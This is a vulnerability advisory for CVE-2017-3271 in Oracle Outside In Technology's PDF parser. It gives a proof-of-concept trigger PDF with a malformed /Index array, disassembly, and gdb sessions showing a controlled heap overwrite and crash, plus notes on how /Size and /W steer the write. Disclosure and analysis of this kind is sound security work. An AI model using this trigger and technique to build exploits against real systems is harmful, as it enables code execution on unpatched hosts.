CVE-2017-3271
An exploitable arbitrary write vulnerability exists in the PDF parser functionality of Oracle Outside In Technology SDK. A specially crafted PDF document can cause a parser confusion resulting in an arbitrary write vulnerability ultimately leading to code execution.
Oracle Outside In Technology 8.5.3.
http://www.oracle.com/us/technologies/embedded/025613.htm
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Oracle Outside In Technology SDK is a widely used file format access and filtering framework. It’s used in many enterprise software distributions for accessing, parsing, filtering and converting numerous file formats.
While parsing a specially crafted PDF file, a parser confusion can result in a string pointer being interpreted as an integer value, resulting in an out of bounds memory access which with careful manipulation of the memory and PDF layout can result in an arbitrary memory overwrite leading to code execution. The vulnerability can be triggered by a malformed /Index entry. Index usually contains an array of numbers, but if a string is found in the array, the vulnerability is triggered. A sample PDF file to trigger the vulnerability is:
%PDF-1.4
%öäüß
1 0 obj
<<
/Type/XRef
/Index[10 1! 8]
/Size 50245490
/W[2 2 4]
/Length 79
/Filter/FlateDecode>>
stream...
endstream
endobj
startxref
32
%%EOF
A misplaced !
character in the above PDF sample causes the third array element to be interpreted as a string, placing a pointer to that string where an integer is expected. This pointer is then wrongfully used in offset calculation in the following code:
.text:B7092C74 mov eax, [esp+10Ch+var_B4] [1]
.text:B7092C78 shl eax, 4
.text:B7092C7B lea eax, [ecx+eax] [2]
.text:B7092C7E mov [esp+10Ch+var_F8], eax
.text:B7092C82 mov edx, [esp+10Ch+arg_0]
.text:B7092C89 mov eax, [edx+3EE4h]
.text:B7092C8F shl eax, 4
.text:B7092C92 lea eax, [ecx+eax]
.text:B7092C95 cmp [esp+10Ch+var_F8], eax
.text:B7092C99 jnb loc_B7092D86
In the above disassembly, at [1] a string pointer instead of a small integer is moved into eax
. At [2] it is added to ecx
which is a pointer to a structure. Since eax
is a pointer, adding them together will result in an integer overflow. It just so happens that /Size parameter is parsed before and influences memory layout. By carefully choosing the value of /Size, we can control the integer overflow and end up with an arbitrary pointer. In the above PDF example, the /Size value is chosen so we end up with a pointer to a heap chunk, lending itself to further heap metadata corruption.
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0x804be08 --> 0x0
EBX: 0xb73c4044 --> 0x38e94
ECX: 0x874db008 --> 0x0
EDX: 0x80b70e8 --> 0x0
ESI: 0x80ce8c8 --> 0x60002
EDI: 0xbfffd908 --> 0x80b6fe0 --> 0x805f4c8 --> 0x80c9508 --> 0x80b7028 --> 0xa ('\n')
EBP: 0xbfffe2d0 --> 0x800010c1
ESP: 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>: push ebp)
EIP: 0xb73a5c7e (mov DWORD PTR [esp+0x14],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb73a5c74: mov eax,DWORD PTR [esp+0x58]
0xb73a5c78: shl eax,0x4
0xb73a5c7b: lea eax,[ecx+eax*1]
=> 0xb73a5c7e: mov DWORD PTR [esp+0x14],eax
0xb73a5c82: mov edx,DWORD PTR [esp+0x110]
0xb73a5c89: mov eax,DWORD PTR [edx+0x3ee4]
0xb73a5c8f: shl eax,0x4
0xb73a5c92: lea eax,[ecx+eax*1]
[------------------------------------stack-------------------------------------]
0000| 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>: push ebp)
0004| 0xbfffd814 --> 0x80ce8c0 --> 0x41000000 ('')
0008| 0xbfffd818 --> 0x48 ('H')
0012| 0xbfffd81c --> 0xbfffd904 --> 0x48 ('H')
0016| 0xbfffd820 --> 0x0
0020| 0xbfffd824 --> 0x874db0a8 --> 0x0
0024| 0xbfffd828 --> 0x8
0028| 0xbfffd82c --> 0x4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb73a5c7e in ?? () from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so
gdb-peda$
From the above GDB session, we can see that we end up with eax
pointing to a heap chunk.
The same address gets reused a bit later in the same faulty function as a destination of a write operation (with an added offset of 20) which can be seen in the following disassembly:
.text:B7092F03 loc_B7092F03:
.text:B7092F03 mov edx, [esp+10Ch+var_CC]
.text:B7092F07 mov eax, esi
.text:B7092F09 call change_endianness
.text:B7092F0E mov edx, eax
.text:B7092F10 mov ecx, [esp+10Ch+var_8C]
.text:B7092F17 mov [ecx-4], ax ; write happens here
.text:B7092F1B cmp ax, 2
.text:B7092F1F jbe short loc_B70
In the above disassembly, an integer from the decompressed stream is read into an address pointed to by ecx-4
which is under our control which can be seen in the following gdb log:
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x4141 ('AA')
EBX: 0xb73c4044 --> 0x38e94
ECX: 0x804be28 ("REAL")
EDX: 0x4141 ('AA')
ESI: 0x80ce8d0 --> 0x2064141
EDI: 0xbfffd908 --> 0x80b6fe0 --> 0x805f4c8 --> 0x80c9508 --> 0x80b7028 --> 0xa ('\n')
EBP: 0xbfffe2d0 --> 0x800010c1
ESP: 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>: push ebp)
EIP: 0xb73a5f17 (mov WORD PTR [ecx-0x4],ax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb73a5f09: call 0xb738ffc6
0xb73a5f0e: mov edx,eax
0xb73a5f10: mov ecx,DWORD PTR [esp+0x80]
=> 0xb73a5f17: mov WORD PTR [ecx-0x4],ax
0xb73a5f1b: cmp ax,0x2
0xb73a5f1f: jbe 0xb73a5f2b
0xb73a5f21: cmp ax,0x1002
0xb73a5f25: jne 0xb73a5ea1
[------------------------------------stack-------------------------------------]
0000| 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>: push ebp)
0004| 0xbfffd814 --> 0x80ce8c0 --> 0x41000000 ('')
0008| 0xbfffd818 --> 0x48 ('H')
0012| 0xbfffd81c --> 0xbfffd904 --> 0x48 ('H')
0016| 0xbfffd820 --> 0x0
0020| 0xbfffd824 --> 0x804be08 --> 0x0
0024| 0xbfffd828 --> 0x8
0028| 0xbfffd82c --> 0x4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 17, 0xb73a5f17 in ?? ()
from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so
gdb-peda$
Note that in the above gdb log, eax
contains 0x4141 which is an arbitrary value from the compressed stream (under direct control) and that ecx
points to our the heap pointer we chose previously by integer overflow (with offset +20). A write operation in this case will corrupt the size data of the heap chunk resulting in a following crash:
Continuing.
EXOpenExport() failed: file is corrupt (0x0009)
warning: Temporarily disabling breakpoints for unloaded shared library "/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so"
*** Error in `/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample': double free or corruption (!prev): 0x0804be28 ***
======= Backtrace: =========
/usr/lib/libc.so.6(+0x6ce09)[0xb7e1de09]
/usr/lib/libc.so.6(+0x74406)[0xb7e25406]
/usr/lib/libc.so.6(cfree+0x56)[0xb7e29676]
/usr/lib/libstdc++.so.6(_ZdlPv+0x1c)[0xb764e01c]
/usr/lib/libstdc++.so.6(_ZdaPv+0x1c)[0xb764e07c]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(_ZN3oit6StringD1Ev+0x2f)[0xb79580e5]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(+0x154e42)[0xb7851e42]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(+0xf70e0)[0xb77f40e0]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(+0x32dd7a)[0xb7a2ad7a]
/lib/ld-linux.so.2(+0xff6a)[0xb7febf6a]
/usr/lib/libc.so.6(+0x30603)[0xb7de1603]
======= Memory map: ========
08048000-0804a000 r-xp 00000000 fd:00 556354 /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample
0804a000-0804b000 rw-p 00001000 fd:00 556354 /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample
.....
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
Program received signal SIGABRT, Aborted.
Stopped reason: SIGABRT
0xb7fdbbc0 in __kernel_vsyscall ()
gdb-peda$ x/x 0x0804be28-4
0x804be24: 0x00004141
gdb-peda$
It should be noted that the size of the conversion in change_endianness
function is controlled by /W parameter giving us further control over the overwirte. The same vulnerability can be triggered multiple times, resulting in multiple arbitrary memory overwrites and ultimately code execution.
It is obvious that /Index array should not contain any strings, which signifies a malformed file. The vulnerability can be triggered by the ixsample
application supplied with the SDK. Depending on the memory layout in the target environment, the supplied testcase might not result in a crash, nevertheless, memory corruption does occur.
gdb-peda$ context
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x4c0e
ECX: 0x4c0e
EDX: 0x6
ESI: 0x82
EDI: 0xb7f79000 --> 0x1c7d64
EBP: 0xbffff398 --> 0xb7f79840 --> 0x0
ESP: 0xbffff0d4 --> 0xbffff398 --> 0xb7f79840 --> 0x0
EIP: 0xb7fdbbc0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdbbbc <__kernel_vsyscall+12>: nop
0xb7fdbbbd <__kernel_vsyscall+13>: nop
0xb7fdbbbe <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdbbc0 <__kernel_vsyscall+16>: pop ebp
0xb7fdbbc1 <__kernel_vsyscall+17>: pop edx
0xb7fdbbc2 <__kernel_vsyscall+18>: pop ecx
0xb7fdbbc3 <__kernel_vsyscall+19>: ret
0xb7fdbbc4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbffff0d4 --> 0xbffff398 --> 0xb7f79840 --> 0x0
0004| 0xbffff0d8 --> 0x6
0008| 0xbffff0dc --> 0x4c0e
0012| 0xbffff0e0 --> 0xb7dde297 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xbffff0e4 --> 0xb7f79000 --> 0x1c7d64
0020| 0xbffff0e8 --> 0xbffff184 ("32/redist/libsc_da.so\nb7fd8000-b7fd9000 rw-p 00000000 00:00 0 \nb7fd9000-b7fdb000 r--p 00000000 00:00 0 [vvar]\nb7fdb\202")
0024| 0xbffff0ec --> 0xb7ddfb69 (<__GI_abort+329>: mov edx,DWORD PTR gs:0x8)
0028| 0xbffff0f0 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
gdb-peda$ exploitable
Description: Heap error
Short description: HeapError (10/22)
Hash: b42af7471403641a54c8cbc0f252f8f5.926972e46151ec1280fc06fa223de77d
Exploitability Classification: EXPLOITABLE
Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped. This could be due to heap corruption, passing a bad pointer to a heap function such as free(), etc. Since heap errors might include buffer overflows, use-after-free situations, etc. they are generally considered exploitable.
Other tags: AbortSignal (20/22)
gdb-peda$ bt
#0 0xb7fdbbc0 in __kernel_vsyscall ()
#1 0xb7dde297 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:55
#2 0xb7ddfb69 in __GI_abort () at abort.c:89
#3 0xb7e1de0e in __libc_message (do_abort=0x2,
fmt=0xb7f28b4c "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#4 0xb7e25406 in malloc_printerr (ptr=<optimized out>,
str=0xb7f28c1c "double free or corruption (!prev)", action=<optimized out>) at malloc.c:4974
#5 _int_free (av=0xb7f79840 <main_arena>, p=<optimized out>, have_lock=0x0) at malloc.c:3841
#6 0xb7e29676 in __GI___libc_free (mem=0x804be28) at malloc.c:2951
#7 0xb764e01c in operator delete(void*) () from /usr/lib/libstdc++.so.6
#8 0xb764e07c in operator delete[](void*) () from /usr/lib/libstdc++.so.6
#9 0xb79580e5 in oit::String::~String() ()
from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#10 0xb7851e42 in ?? ()
from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#11 0xb77f40e0 in ?? ()
from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#12 0xb7a2ad7a in _fini ()
from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#13 0xb7febf6a in _dl_fini () at dl-fini.c:257
#14 0xb7de1603 in __run_exit_handlers (status=0x9, listp=0xb7f79420 <__exit_funcs>,
run_list_atexit=0x1) at exit.c:82
#15 0xb7de1661 in __GI_exit (status=0x9) at exit.c:104
#16 0xb7dc8e8a in __libc_start_main (main=0x80488d4 <main>, argc=0x3, argv=0xbffff6e4,
init=0x8048ccc <__libc_csu_init>, fini=0x8048d20 <__libc_csu_fini>,
rtld_fini=0xb7febd90 <_dl_fini>, stack_end=0xbffff6dc) at libc-start.c:323
#17 0x08048811 in _start ()
gdb-peda$
2016-08-29 - Vendor Disclosure
2017-01-17 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.